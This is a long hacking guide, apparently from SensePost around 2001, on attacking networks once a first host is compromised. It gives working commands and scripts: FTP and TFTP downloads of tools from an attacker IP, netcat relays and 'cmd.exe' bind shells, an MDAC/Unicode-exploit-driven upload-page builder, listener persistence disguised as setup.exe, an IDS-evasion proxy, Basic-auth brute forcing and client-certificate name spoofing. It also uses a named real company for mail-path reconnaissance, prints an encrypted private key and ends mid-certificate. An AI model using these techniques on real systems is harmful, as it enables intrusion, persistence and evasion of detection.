FTP 21 TCP Reverse

This summary is not available. Please click here to view the post.

SMTP 25 TCP

Back in the good old days just about every mail server was running Sendmail.
And Sendmail was littered with security holes. Nowadays Sendmailis pretty
safe (yet a lot of people still have bad memories of it, and as such refuse
to use it). The other common MTS is Microsoft Exchange. Other UNIX mail
servers include qmail and smail. What vulnerabilities exist in SMTP
gateways? If we assume that you are dealing with a rather new version of
Sendmailit seems like SMTP is pretty safe (in terms of getting control over
a server). Mailbombing...sure, getting root when one already have a shell - sure. But remotely - I don't think so. Would anyone find a nasty buffer
overflow in MS Exchangeit would probably be the next big thing. Anyone?
In terms of intelligence gathering SMTP can provide you with some
interesting stuff - EXPNand VRFYhave been discussed in depth in the
examples - lets not go there again. Mail spamming - well its not really
hacking now is it?
SMTP can also be used to discover the soft insides of networks by sending a
"bounce" message. Such a message is a message that is addressed to a user
that does not exists. The mail will travel all the way to the most internal
mail server who will then reply to you stating that the user is not known.
By looking at the returned mail's STMP header would you gain some useful
information about the mail path, and thus the internal network. Let us look
at an example. We want to see the SMTP path of the domain nedcor.co.za. We
send email to klasiedewaal@nedcor.co.za (we suspect there wont be such a
user at the domain), with body text: "Hi bud - got your email address form
Amy - if you receive this in good order, write back to me. Your friend,
Roelof". Obviously the idea is not the make the "bounce" message look
suspect. Now, let us look at the listed MX records for the domain:
/# host -t mx nedcor.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-1.hosting.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-2.hosting.co.za
nedcor.co.za mail is handled (pri=50) by prometheus.nedcor.co.za
The SMTP returned mail header looks like this:
Received: from prometheus_old.nedcor.co.za ([196.36.217.137])
by wips.sensepost.com (8.9.3/8.9.3) with SMTP id WAA18570
for <roelof@sensepost.com>; Sun, 10 Sep 2000 22:48:29 +0200 (SAST)
(envelope-from )
Received: FROM ARES.it.nednet.co.za BY prometheus_old.nedcor.co.za ; Sun
Sep 10 22:43:09 2000 +0200
Received: by ares.it.nednet.co.za with Internet Mail Service (5.5.2650.21)
id <S3GQJZHZ>; Sun, 10 Sep 2000 22:43:19 +0200
Message-ID: <35D6C187048AD311882F00805FD7EDE402F57314@ares.it.nednet.co.za>
We learn from this header that mail "terminates" at ares.it.nednet.co.za.
From there it hops to prometheus_old.nedcor.co.za. This is interesting as
both these machines are not resolvable from the Internet, and should
therefore be considered as "internal".

What to execute

A tool that I like using once command line access has been gained on a NT
box is FSCAN.EXE(get it at Packetstorm or at
www.sensepost.com/summercon2001/fscan.exe). It is a nifty command line
portscanner that is packed with features. Once compromised, this portscanner
is uploaded, and scanning on the rest of the network can begin. Make sure
that you know where to scan - study your surroundings, like explained
earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
Above port scan will identify all hosts running web servers, telnet daemons
and MS-SQL, and will send the output directly to a file called portscan.txt
that is located in the webroot -ready to be surfed. The output of such a
scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If
we assume that 169.xxx.201.4 is located in the private network (and that the
host where this scan was executed from is in the DMZ) it makes sense to try
to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to
compromise this host - that will give us access to resources on the private
network. It might even be interesting to see what is running on the MS-SQL
part of the server. We now want to be able to fire up SQL Enterprise server,
hop via the compromised host right onto the SQL port on 169.xxx.201.4
(assuming of course that we cannot go there direct).
How is this accomplished? One way could be to hook two instances of netcat
together - something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have
found that this method does not work that nice in all situations. Courtesy
of a good friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exe
takes 4 arguments: tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
Tcprstarts to listen on listenPort, relaying (on a network level) all
traffic to destinationIP on port destinationPort. Before it relays a
connection it checks for the existence of killfile, and if so, it exists
very quietly. The killfile is only there to make it easy to kill the relay
as there is no kill `ps -ax | grep tcpr | awk '{print $1}'` available in the
standard NT distribution
(har har). With tcprwe can now redirect traffic on a non-filtered port on
the first host to a port on the next victim. The TCPR.EXE program is
available at www.sensepost.com/summercon2001/tcp.zip.
Keeping all of above in mind, we could reach the SQL server by uploading
tcpr.exe to the victim and executing the following command (let us assume
that the site is vulnerable to the Unicode exploit - the attacker is using
my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been
uploaded to c:\temp using the upload page):
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
In the SQL enterprise manager we cannot specify the port. We thus need to
"bounce" the local port 1433 to port 53 on the webserver. For this we use
the utility "bounce".
Use: bounce [-a localaddr] [-p localport] machine port
#bounce -a 127.0.0.1 -p 1433 <target> 53
Ready to bounce connections from port 1433 to <target> on port 53
Pointing your SQL enterprise manager to 127.0.0.1 we now reach the SQL
server running on the inside of the private network. Assuming a blank SA
password, we are home free. When we are finished with the SQL server, and
now want to attack the web server we simple do:
perl unicodexecute3.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute3.pl <target>:80 'del c:\blah.txt'
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS
servers together, reaching deep within a network. If we assume that the
server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the
server would be as simple as:
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
By simply modifying the convert.pl script mentioned earlier to point to port
53, we can start to build the upload page on the internal server, and the
cycle continues. If you struggle to keep track on what server you are
working don't despair, it happens...
Using PERL2EXE one can also "port" PERL scripts from Unix to Win32. Using
this one can upload an exploit to the web server, and execute it locally.

Now what?

Most books and papers on the matter of hacking always stop at the point
where the attacker has gained access to a system. In real life it is here
where the real problems begin - usually the machine that has been
compromised is located in a DMZ, or even on an offsite network. Another
problem could be that the compromised machine has no probing tools or
utilities and such tools to work on an unknown platform is not always that
easy. This part deals with these issues. Here we assume that a host is
already compromised - the attacker has some way of executing a command on
the target.
Some hosts are better for launching 2nd phase attacks than others -
typically a Linux or FreeBSD host is worth more than a Windows NT web server.
Remember – the idea is to further penetrate a network. Unfortunately, you
can not always choose which machines are compromised. Before we start to be
platform specific, let us look at things to do when a host is compromised.
The first step is to study one's surroundings. With 1:1NAT and other address
hiding technologies you can never be too sure where you really are. The
following bits of information could help (much of this really common sense,
so I wont be explaining *why* you would want to do it):
1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)
All of the above will help to form an idea of the topology of the rest of
the network - and as we want to penetrate further within the network its
helpful. Let us assume that we have no inside knowledge of the inner network
- that is - we don't know where the internal mail server is located - we
don't know where the databases are located etc. With no tools on the host
(host as in parasite/host), mapping or penetrating the inner network is
going to take very long. We thus need some way of getting a (limited)
toolbox on the host. As this is quite platform specific, we start by looking
at the more difficult platform - Windows.
We are faced with two distinct different problems - getting the tools on the
host, and executing it. Getting the tools on the host could be as easy as
FTP-ing it to the host (should a FTP server be running and we have a
username and password - or anonymous FTP). What if only port 80 is open?
Here's where things start to become more interesting. The easy way to get
software on the host is to FTP it. Typically you will have the toolbox
situated on your machine, and the host will FTP it from you. As such you
will need an automated FTP script - you cannot open an FTP session directly
as it is interactive and you probably do not have that functionality. To
build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute
multiple command by appending a "&" between commands. This script is very
simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP
reverse connections are not allowed into the network - NT has no support for
passive FTP. It might also be that the machine is simply fire walled and it
cannot make connections to the outside. A variation on it is TFTP – much
easier. It uses UDP and it could be that the firewall allows UDP to travel
within the network. The same it achieved by executing the following on the
host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for
certain exploits (remember when no one could figure out how to do redirects
with Unicode?). There is yet another way of doing it - this time via rcp
(yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts
and rsh service running. Remote copy uses TCP, but there is no reverse
connection to be worried about. Above two examples do not use any
authentication - make sure you close your firewall and/or services after the
attack!
In these examples one always assume that the host (victim) may establish
some kind of connection to the attacker's machine. Yet, in some cases the
host cannot do this - due to tight fire walling. Thus - the host cannot
initiate a connection - the only allowed traffic is coming from outside (and
only on selected ports). A tricky situation. Let us assume that we can only
execute a command - via something like the MDAC exploit (thus via HTTP(s)).
The only way to upload information is thus via HTTP. We can execute a
command - we can write a file (with redirection). The idea is thus to write
a page - an ASP/HTML page that will facilitate a file upload. This is easier
said then done as most servers needs some server side components in order to
achieve this. We need an ASP-only page, a page that does not need any server
side components. Furthermore we sitting with the problem that most HTML/ASP
pages contains characters that will "break" a file redirection - a ">" for
instance. The command echo <html> >> c:\inetpub\wwwroot\upload.htmwon’t
work. Luckily there are some escape characters even in good old DOS. We need
a script that will convert all potential difficult" characters into their
escaped version, and will then execute an "echo" command - appending it all
together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert <file_to_upload> <target>
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while(<HTMLFILE>) {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >>
c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by
Scrippie/Phreak) takes two arguments - the first is the file that needs to
be uploaded, the second the target/victim host's IP number. It makes use of
another script - rfpnew.pl- a hack of the popular MDAC exploit by Rain
Forrest Puppy with extra functionality to specify the port number and to
pass the command to be executed as parameter. The convert script will create
a file with the same filename as the one specified in c:\. It simply reads
every line from the source file, converts all difficult characters and
appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found
on www.sensepost.com/summercon2001/rfpnew.pl. It don't list it here only
because it rather large.
The only part missing here is the actual file that is needed for uploading.
After some searches on the Internet, I got hold of a .ASP & .INC file pair
that neatly facilitates uploading to a server - without any server side
components (credit to those that wrote it - I can not remember where I got
it from). Once these two files are "built" (using above script) and
transferred into the webroot, one can simply point ones browser to the
correct URL and upload a toolbox via HTTP. The files upload.aspand
upload.incis to be found at www.sensepost.com/summercon2001/upload.asp and
www.sensepost.com/summercon2001/upload.inc (I don't list them here because
they are quite large). Be sure to move the uploaded files to the right spot
- keep them in the same directory, and keep the file names the same -upload.aspand upload.inc,unless you want to meddle with the ASP and INC
files.
In a nutshell (for the script kids):
•  get upload.asp, upload.inc and rfpnew.pl from the site.
•  cut & paste the converter script to convert.pl and put it in the same
directory
•  perl convert upload.asp <target>
•  perl convert upload.inc <target>
•  perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.asp
<webroot>\upload.asp'
•  perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.inc
<webroot>\upload.inc.
•  surf to http://target/upload.asp.
•  upload your good stuff
•  inhale/exhale
In the same way the upload page can be build using the Unicode bug. I
recently wrote a tool called unicodeloader.pl which does exactly that - it
builds the upload page with echos using the Unicode bug.
The next step would be to execute something on the host. With the uploader
in place, the obvious choice would be to upload net cat, and to thus create a
DOS shell. In an environment where the host/target is not tightly
fire walled this is a good idea- bind to any closed (non-filtered) port.
Where the host/target only has port 80 (or 443) open it becomes more
interesting. Netcat(for WinNT) has a "single bind" mode (-l) that will only
redirect the next incoming connection to the executor (-e); the connection
thereafter will be caught by the web server. Here timing is of essence - you
would want to make sure that you get the very next connection after the
single bind was executed. How does one make sure of this? Hpingis a tool
that has the functionality to display differentials in IP id numbers. Bottom
line - if you do a
# hping -r target -p 80 -S
and your relative ID are +1, you know its only you speaking to the host. The
higher the relative IDs, the busier the host. If the host is busy you prolly
won’t be the next caller..
In a situation where we cannot use net cat, our "tool" needs to be command
line driven, and needs to be able to either create files as output, or to
output results to standard out - where it can be redirected to a file. These
files could simply be created directly into the web root - in this way the
attacker can view her results in a web browser. One now begin to understand
the merit of command line port scanners (for NT) such as FSCAN.EXEand
things like win dump that does not need any registry changes or install
shields.
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit) perl rfpnew.pl -h <target> -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet <target> 53
Trying <target>...
Connected to <target>.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to
execute command line commands.  Net cat also helps in situations where one
does not have the luxury of time - such as in the examples where you only
have Net BIOS access. To ensure that you keep connectivity with the target
you might want to execute a "netcat -L -p 53 -e cmd.exe"sitting in
winnt/system32/setup.exe (you could execute it from a batch file and
convert the batch file to an EXE). When the host reboots it will be
listening on port 53 for incoming connections. All you need to do is to
probe port 53 continuously.

Pudding

Some time after I wrote the doc the Unicode bug struck. I got working on
UTF8 encoding, and decided to write a tool that would randomly encode each
character in a GET request. I proved to be VERY effective against IDS-es.
Here is an extract from the pudding docs:
I always wanted a tool that will save me the time to recode a HTTP exploit or
scanner to use a certain IDS evasion method. Its fine to see that whisker's IDS
evasion method 1 (hex encoding) works to bypass a certain IDS, but now you
still have to recode your exploit's HTTP request in hex.
I wanted a type of proxy that will encode the HTTP request for ANY scanner or
exploit. Pudding is such a tool. It supports most of RFP's IDS evasion encoding
methods, and I have added random UTF-8 encoding support.
Practically it works like this:
[exploit]--not encoded-->[(nc)-proxy]--encoded-->IDS -->[target]
Parameters for the proxy is as follows:
./pudding listenport:targetIP:targetport:mode
After execution, pudding will use netcat (nc) to listen on port <listenport>.
When a connection is made it will execute the PERL script stealth.pl. According
to the <mode> parameter, stealth.pl will encode the request and send it to
<targetIP> on <targetport>. The reply will be sent via the PERL script back to
netcat and thus back to the exploit or scanner.
Encoding methods that pudding do:
mode 0 clear (no encoding) for testing
mode 1 all UPPERCASE
mode 2 hex encoding
mode 3 /./ directory insertion
mode 4 fake parameter
mode 5 premature URL ending
mode 6 windows delimeter
mode 7 random UTF8 encoding
(see RFP's documentation on whisker's IDS evasion methods - I butchered it from
there anyway)
Multiple connections
--------------------
As browsers and scanners (and some exploits) use multiple connections, pudding
needs to fork for each request. PERL is not as fast as C, and therefor you will
need to start a few instances of pudding for programs that needs multiple
connections (think of Apache and Squid that fire up a few children to handle
the load - same thing here).
Let us look at an example:
--------------------------
(lets use RFP's popular RDS exploit with random UTF-8 encoding)
# ./pudding 80:160.xxx.xxx.98:80:7 &
[1] 23689
# ./pudding 80:160.xxx.xxx.98:80:7 &
[2] 23697
# ./pudding 80:160.xxx.xxx.98:80:7 &
[3] 23705
# perl rfp.orig.pl -h 127.0.0.1
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c echo
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: e: f: g: h:
winnt35 -> c: d: e: f: g: h:
winnt351 -> c: d: e: f: g: h:
win -> c: d: e: f: g: h:
windows -> c: d: e: f: g: h:
Step 2: Trying to make our own DSN...
Making DSN: c: <<fail>>
Step 3: Trying known DSNs.....AdvWorks: Success!

IDS & webservers

IDS (Intrusion Detect Systems) must one of the more painful inventions - for
hackers. Luckily ID systems are seldomly properly configured. ID systems
looks for patterns or signatures in data streams. If the pattern in the
data stream matches that of a pattern in the IDS's database (that is marked
as "bad") the IDS reacts. Reaction can be logging the offensive packet, but
it could also be sending a combination of RST packets, ICMP redirects/port
unreachable/host unreachable packets back to the offending party. In other
words - if you send naughty packets the IDS will kill your connection.
Running a whisker scan against a machine that is monitored by an IDS will
cause the IDS to go ballistic.
Luckily RFP build some interesting "cloaking" techniques into his scanner.
Read his documentation to find out how it works. Whisker has 10 different
cloaking methods, and the basic idea is that you camouflage the URL in
different ways, hoping the IDS won't recognize the malicious pattern. The -S
switch decides what method would be used. Add it when you are not getting
results - it might be an IDS killing all your requests.
An interesting point to note is that it does not make sense to use anti-IDS
techniques when you are attacking an SSL- enabled site. The traffic is
encrypted remember? (if the IDS is running on the host itself...what comes
1st - the IDS or the decryption? After a lengthy discussion on the Vuln-dev
mailing list, it was clear that IDS does not work with SSL. The bottom line
- if you are having troubles with IDS - go for the SSL-enabled sites 1st.
Obviously all of the above techniques can be used in conjunction with each
other. Doing data mining with anti-IDS on a SSLv2 site that use Basic
Authentication is thus entirely possible (although the SSL bit wont make any
sense..).

ELZA & Brutus

Some time later I heard about a tool called Elza. What a neat tool. It
basically does all the stuff that I have done in the PERL scripts. It uses a
kind of scripting language that takes a bit of getting used it - but that is
VERY powerful. The docs on Elzahas a nice example for creating 10000 random
hotmail accounts :) Elzawill handle cookies, HTTP redirection and URL state
strings. It also has extensive support for brute forcing web based
authentication schemes. Very nice.
Even later I had a look at a program called Brutus(for Windows). Brutus
will actually learn a CGI form, and gives you the ability to brute force any
part of the form. It works for most types of forms, but I have found that in
some intense environments, Brutus does not cut it.

Tricks

If your script does not work the first time - do not despair - things have
to be exactly right to work. Test your script without any loops, and
hardcode the actual POST string (you'll have to calculate the "content
length" yourself though). Uncomment the part where the HTTP header is
printed - make sure it is exactly right.
Obviously you'll have to check what the results are to be able to parse the
results - you would want to uncomment the part where the results are
returned (it helps when you have a valid username and password in order to
parse a positive result).
Virtual hosted sites. When sending data to virtually hosted sites you'll
have to add a "Host: the_URL" in the HTTP header so that the server know
with which virtually hosted site you are talking to. It is trivially easy to
add this to the above script.
Cookies - they are there no make life a little more difficult. The server
sends a cookie to the client, and the client needs to pass the cookie along
all the time for the request to be valid. The idea is thus to first
"capture" the cookie from the correct URL, and then to pass the cookie along
in the POST request. Hereby is extract from a similar script that uses
cookies:
#---------------discover the cookie
$xtosend=<<EOT
GET /xxx/Logon_access.asp?langind= HTTP/1.0
Connection: Keep-Alive
User-Agent: SensePostData
Host: $posthost
Accept-Charset: iso-8859-1,*,utf-8
EOT
;
$xtosend=~s/\n/\r\n/g;
my @results=sendraw($xtosend);
#---------parse the result for the cookie jar
foreach $line (@results) {
if ($line =~ /Cookie/) {
$line =~ s/ //g;
$line =~ s/;/:/g;
($dummy,$cookie)=split(/:/,$line);
# print "magic cookie=[$cookie]\n";
}

}
#---Get the real request out to the server
$tosend=<<EOT
POST $urlthingy HTTP/1.0
Cookie: $cookie
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
$poststring
etc.etc.
Trick - set your browser to warn you of incoming cookies, and see if your
script captures all the cookies.
I have found that on some servers the "Connection: Keep-Alive" tag breaks
the script. I fiddled with the HTTP/1.0 / HTTP/1.1 field - sometimes these
two fields needs to be modified. Experiment!

Data mining

Another nice feature of whiskeris that of "data mining" - searching for
interesting files or directories on servers. Another program that does the
same type of thing is called cgichk (I got it off Packetstorm - I don't see
any URLs in the documentation). We will stick to whisker though. The default
database does some mining but better mining databases exist. One such a DB
is brute.db- also to be found on RFP's site. This DB makes whisker search
for anything that looks password-ish, admin-ish and other interesting files.
Keep your eyes open for similar DB files.
I recently started working on another technique that is proving to be quite
useful. The idea here is to mirror the while website and find common
directories. For instance, an administrative backend that sits on
http://xx.com/whole_site_here/admin.aspwont be found with the normal
techniques. The idea is thus to mine the site for directories and put the
common dirs into the brute.dbfile of whisker. Lets look at how to. First I
copy the site (using lynx)
# lynx -accept_all_cookies -crawl -traversal http://www.sensepost.com
(You might try something like TeleportProfor Windows as well) You will a
lot of files in the directory where you executed the command from. The *.dat
files contains the actual pages. The file "reject.dat" is interesting as it
contains link to other sites - it might help you to build a model of
business relations (if anything). It also shows all the "mailto" addresses -
nice to get additional domain names related to the target. In the file
"traverse.dat" you will find all the link on the page itself. Now all you
need to do is look for common directories & populate the whisker brute.db
file with it.
/tmp> cat traverse.dat | awk -F 'http://www.sensepost.com/' '{print
/$2}' | awk -F '/' '{print $1}' | sort | uniq | grep -v "\." | grep -v "\?"
misc
training
You need to change the root directories to brute.dbin the line that says:
array roots = /, cgi-bin, cgi-local, htbin, cgibin, cgis, cgi, scripts
to something like:
array roots = /, misc, training, cgi-bin, cgi-local, htbin, cgibin, cgis, cgi,
scripts
Now fire up whisker with the new brute.dbfile.
> perl whisker.pl -h www.sensepost.com -s brute.db -V,
and you might be surprised to find interesting files and directories you
wouldn’t have seen otherwise.

HTTP + Basic authentication

What about sites that require basic authentication? Basic authentication
simply means that you have to provide a username and password to enter a
site. Note that some sites might have usernames and passwords at application
level - at "site" level - e.g. you must provide a username and password in a
HTML based form. This is not basic authentication. With basic
authentication, a extra window will be popped up in your browser and you
will be prompted for a username and password. As is the case with telnet,
the first step would be a get a valid username. Some implementations of
basic authentication will tell you if you are using a valid username. Let us
look at how Firewall-1 implements basic authentication. I go to the site
http://196.xxx.151.241. At the BA (basic authentication) prompt I enter a
username "test" and password "test". The server tells us that there is some
problem, and responds like this:
Error 401
FW-1 at gateway: Unauthorized to access the document.
Authorization is needed for FW-1.
The authentication required by FW-1 for test is: unknown.
Reason for failure of last attempt: unknown user
Note that is says "unknown user" - the username "test" is thus not valid. If
we try it with user "craig" however (we know that craig is a valid user) the
response looks like this:
Error 401
FW-1 at gateway: Unauthorized to access the document.
Authorization is needed for FW-1.
The authentication required by FW-1 for craig is: FW-1 password.
Last message to user: FireWall-1 password:
Aha! Note that we don't see any "unknown" user response. How about other
server - Apache and IIS? If we use an invalid user at the Apache BA prompt
we get a response that says either the username or password is incorrect.
IIS does the same thing. For these servers we need to guess usernames. On
IIS "administrator" won't be a bad guess.
How do we go about to brute force sites that use BA? Whiskerhas the
functionality to brute force attack BA sites. How do we do this? Let us set
up whiske rto brute force attack the site http://196.xxx.151.241 with
username "craig". We build a file called "passwords" containing some common
passwords and execute whisker as follows:
# perl whisker.pl -a craig -L / -P passwords -h 196.xxx.151.241
Let us have a quick look at the different switches. -a specifies the
username, -L / says that we want to get to the main site - if the server
protects a specific URL we would added it after the /. -P tells whisker that
we use the file "passwords" as password file (wow!). Please note - we had to
make some minor changes to whisker.pl for this to work. Line 28 should read
like this:
getopts("P:fs:n:vdh:l:H:Vu:iI:A:S:EF:p:M:UL:a:W", \%args);}
Line 1185 should read like this:
if($R!~m#^HTTP/[0-9.]{3} 40#){
When whisker find a valid username and password combination it responds like
this: = Valid auth combo 'craig:xxx' on following URL:
= http://196.xxx.151.241
The idea would now be to run whisker with the correct username and password
against the site:
# perl whisker.pl -a craig:testing -h 196.xxx.151.241
If you have an "133t" exploit you wish to run against a site that makes use
of BA, and you do have the correct username and password - you still need to
modify the 'sploit in order to use it with BA. The easiest way of doing this
is to sniff the actual output of whisker, and look for the "Authentication:
Basic" part. Add that then to your 'sploit. The more 'l33t' way is obviously
to base64 encode the username:password, put "Basic" in front of it...

HTTPS SSL3 443 TCP

Things can get trickier. What if the site requires a client certificate? In
many cases you have a webserver that requires a client certificate, and
would respond like this:
HTTP Error 403
403.7 Forbidden: Client certificate required
This error occurs when the resource you are attempting to access requires your
browser to have a client Secure Sockets Layer (SSL) certificate that the
server recognizes. This is used for authenticating you as a valid user of the
resource.
The Common Name (CN) of the client certificate is mapped to a user on the NT
server, and access rights on the server are given according to the user
name. Again, it is beyond the scope of the document to explain the inner
workings of IIS servers or PKI. The reader should understand that if a
webserver trusts a public CA (such as Verisign) and relies on a client
certificate's CN to authenticate the user it can be exploited. Let us see
how we will exploit this.
The first step would be to obtain a class 1 client certificate from
Verisign. Go to http://digitalid.verisign.com. Apply for a class 1 personal
certificate. In the firstname field enter a name - this name will be the CN
of the client certificate and as such a firstname of "administrator" would
not be a bad choice. Leave the lastname blank. Follow all the steps - the
email thing, the "install new client certificate etc". At the end of all of
this you should have a client certificate installed in your browser. You now
want to use this client certificate with the SSLproxy, so it has to be
exported. Export the cert as a PKCS12 package and save it to file with a P12
extension. The SSLproxypackage cannot read PKCS12 cert packages so you have
to convert it. We use OpenSSLto convert the cert to something more
portable:
# openssl pkcs12 -in mycert.p12 -clcerts
The openSSL PKCS12 module ask for 3 passwords or PINs - the first one is the
current PIN/password that you chose for your cert - the second two are the
new PIN/password for the cert. The output of the command looks like this:
Enter Import Password:
MAC verified OK
Bag Attributes friendlyName: administrator's VeriSign, Inc. ID
localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
Key Attributes: <No Attributes>
Enter PEM pass phrase:
Verifying password - Enter PEM pass phrase:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,17A295CBFA235CE5
SmFYIhSdmA7c9pT+ScpzNuGD3QHo999ugVBcWDHnNlBmDXFYY2+Zepgx9dLnrw8E
EeV8YutU/0dvQwlCvENVp3vgEQ9ca1xeskPBIxBoitWxGWWGnAq/Z/KHhDuISNQU
rqDmEP9szmlZIH3tjzjNh+yWcvzXOhJb1wGLqnwx6lTlK88Se4rY4d2AyEEe8nzP
YcDRIFy+Gw4ZLAcplotOYj6uN13NKobfy6Gs2v0adY0/Bqg91AFDP4VynPn7ptsC
Ez2Nz6n3zXO+4AozJxuPyXxt0So6/4hX7E9aEuFxrpUnW9xcxGMmcPd8gBY2wtTb
k9jBYKz2d3k/EtYpdbVWgFwWjurzt5VX4WtEE78gLDw/BzPuq2wq9ZtGHYDNonBK
tQpCpnmiPGxvFCYyvHgnFhht59C4nrXZ+hO8jwZ62shnWSnUYM73MyMqJoKVwQTP
j4a6P0dSbQX+9u2fBIkMYIC2RYoPTA7Nv2OQZWLf4EeiI+Y1xvDQwfEhHkCdA/bc
cd5EqvYpH+yJxGjivl47DJNtUuPWWgLH5iYFMQEEolv9iXsUsT9ycOtUMdpbjRMW
v09BHDmC0pkn3HbvrBmE0UzHX6nDb8H5lpXDd/D2OLOqwMInXgaUnSA/fPGDP0xo
Gzpm+Hqb77n2REv46gnzARWtxCXFSFBP0Ck5eGQD8Ah5/T+kJQt3bVI72YT8+GY6
7uuoYrVVyjtqG57CCYtXCZL3W1SV2hUGUD7VPZFiq7u0LHYLM+bB2z+9STcAQDJY
AWU/XJSNL3Ba7xfOsxklfRFtjrvkLs0jY/GRBTizufQHnVIJQwH3Ag==
-----END RSA PRIVATE KEY-----
Bag Attributes
friendlyName: administrator's VeriSign, Inc. ID
localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
subject=/O=VeriSign, Inc./OU=VeriSign Trust
Network/OU=www.verisign.com/repository/RPA
Incorp. by Ref.,LIAB.LTD(c)98/OU=Persona Not Validated/OU=Digital ID Class 1 -
Netscape/CN=administrator/Email=roelof@sensepost.com
issuer= /O=VeriSign, Inc./OU=VeriSign Trust
Network/OU=www.verisign.com/repository/RPA
Incorp. By Ref.,LIAB.LTD(c)98/CN=VeriSign Class 1 CA Individual Subscriber-Persona Not
Validated
-----BEGIN CERTIFICATE-----
MIID+DCCA2GgAwIBAgIQfvf0Rx3VZ3jAV3CIxZt2/jANBgkqhkiG9w0BAQQFADCB
zDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBCeSBSZWYuLExJQUIuTFREKGMpOTgxSDBGBgNVBAMTP1Zl
cmlTaWduIENsYXNzIDEgQ0EgSW5kaXZpZHVhbCBTdWJzY3JpYmVyLVBlcnNvbmEg
Tm90IFZhbGlkYXRlZDAeFw0wMDA4MTgwMDAwMDBaFw0wMDEwMTcyMzU5NTlaMIIB
BzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBieSBSZWYuLExJQUIuTFREKGMpOTgxHjAcBgNVBAsTFVBl
cnNvbmEgTm90IFZhbGlkYXRlZDEmMCQGA1UECxMdRGlnaXRhbCBJRCBDbGFzcyAx
IC0gTmV0c2NhcGUxFjAUBgNVBAMUDWFkbWluaXN0cmF0b3IxIzAhBgkqhkiG9w0B
CQEWFHJvZWxvZkBzZW5zZXBvc3QuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQCuzCptG2BoEqAp8rz6V/SlABacd2hxEbbbnya/KlrtYb9JI3msRlQiCGaq
